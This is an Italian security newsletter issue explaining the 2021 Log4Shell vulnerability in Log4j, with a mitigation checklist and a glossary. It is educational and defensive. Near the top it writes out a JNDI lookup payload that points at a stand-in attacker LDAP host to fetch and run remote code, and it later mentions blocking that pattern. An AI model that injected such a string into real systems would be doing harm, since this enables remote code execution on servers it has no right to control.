Sprawlletter logo

Sprawlletter

Archives
Subscribe
October 9, 2025

BUG ARCHEOLOGY - Episodio 17: Log4Shell: quando loggare è diventato pericoloso

🧨 Quando un log apre le porte all’attacco

Dicembre 2021. Nel pieno delle vacanze natalizie, un ricercatore scopre qualcosa di incredibile: scrivere una semplice stringa in un log può portare al controllo completo di un server.

Basta questo:

${jndi:ldap://attaccante.evil/Exploit}

La stringa viene “loggata” da un’app. Nessun privilegio, nessun malware. Solo un log.
Log4j, la libreria Java che registra gli eventi del sistema, interpreta il testo, si connette all’indirizzo specificato, scarica codice… e lo esegue.

Così nasce Log4Shell — una delle vulnerabilità più gravi e diffuse nella storia del software.


🧠 Cos’è successo (spiegato semplice)

  • Log4j è una libreria Java usata per registrare messaggi e attività.

  • Era configurata per risolvere variabili dinamiche nei log (es. ${env:PATH}).

  • Ma supportava anche ${jndi:...}, che può attivare connessioni esterne via LDAP o RMI.

  • Un attaccante poteva inserire questa stringa in un campo qualsiasi (nome utente, User-Agent, form…) e, se veniva loggata, l’app eseguiva codice arbitrario.

In pratica: un messaggio di log diventava un telecomando per controllare il server.


🚨 Perché è stato un disastro globale?

  • Log4j è ovunque — in milioni di servizi, app, dispositivi e server.

  • Molti sviluppatori non sapevano nemmeno di usarla (era inclusa da framework e librerie di terze parti).

  • L’exploit era semplice da eseguire, anche da script automatici.

  • L’impatto andava da RCE (Remote Code Execution) a data breach, botnet, crypto mining e movimenti laterali nella rete.


🧰 Cosa fare oggi (checklist operativa)

  • ✅ Inventario (SBOM): trova dove usi Log4j — anche in dipendenze indirette, container, immagini.

  • 🔁 Patching: aggiorna subito a una versione sicura (>= 2.17).

  • 🧪 Scanner: usa strumenti come log4j-detector, SCA o scanner container.

  • 🔒 Blocchi & Mitigazioni:

    • Disattiva JNDI e risoluzioni dinamiche.

    • Blocca pattern ${jndi:...} via WAF o filtri input.

  • 🔍 Log & Monitoraggio: cerca tentativi di exploit nei log passati.

  • 🛡️ Segmentazione: riduci i privilegi delle app e isola servizi critici.


📚 Glossario essenziale

Log

Registro automatico di eventi e messaggi

Log4j

Libreria Java per gestire i log

JNDI

Interfaccia Java per cercare risorse in rete

LDAP

Protocollo per accedere a directory esterne

RCE

Remote Code Execution — esecuzione di codice a distanza

SBOM

Software Bill of Materials — elenco delle dipendenze software

WAF

Web Application Firewall

Grazie per essere qui,
— Anairesis
CodexSprawl.com


Come sempre:
☕ Questo nodo della rete è alimentato da conoscenza libera e caffeina.
Se ti è utile, puoi supportare il progetto qui: Offrimi un caffè

🛰️ Non vuoi perderti il prossimo articolo?
Iscriviti alla Sprawlletter → codexsprawl.com/newsletter

Don't miss what's next. Subscribe to Sprawlletter:
← Newer Vivi davvero sicuro nella tua smart home? Older → Wi-Fi lento? Ecco come addomesticare router e QoS (nel 2025)
Powered by Buttondown, the easiest way to start and grow your newsletter.